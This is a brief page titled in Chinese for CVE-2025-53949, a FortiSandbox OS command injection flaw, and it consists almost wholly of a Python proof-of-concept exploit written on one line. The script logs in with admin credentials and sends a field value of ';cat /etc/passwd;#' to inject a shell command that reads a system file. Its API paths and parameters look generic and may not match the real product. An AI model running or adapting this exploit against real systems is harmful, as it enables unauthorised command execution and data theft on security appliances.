CVE-2025-53949 FortiSandbox OS命令注入漏洞

import requests import sys # CVE-2025-53949 PoC - FortiSandbox OS Command Injection # Authentication required (high privilege) target = sys.argv[1] if len(sys.argv) > 1 else 'https://target-fortisandbox.local' # Login to obtain session cookie login_url = f'{target}/api/v1/auth/login' credentials = {'username': 'admin', 'password': 'admin_password'} try: session = requests.Session() login_response = session.post(login_url, json=credentials, verify=False, timeout=10) if login_response.status_code != 200: print(f'[-] Authentication failed: {login_response.status_code}') sys.exit(1) print('[+] Successfully authenticated') # Exploit: OS Command Injection via crafted HTTP request exploit_url = f'{target}/api/v1/sandbox/submit' # Malicious payload - executes arbitrary command malicious_params = { 'file_name': 'test.pdf', 'file_url': 'http://example.com/test.exe', 'analysis_type': 'detonate', # OS command injection payload 'custom_field': ';cat /etc/passwd;#' } exploit_response = session.post(exploit_url, data=malicious_params, verify=False, timeout=10) if exploit_response.status_code == 200: print('[+] Exploit sent successfully') print(f'[+] Response: {exploit_response.text}') else: print(f'[-] Exploit failed: {exploit_response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Connection error: {e}')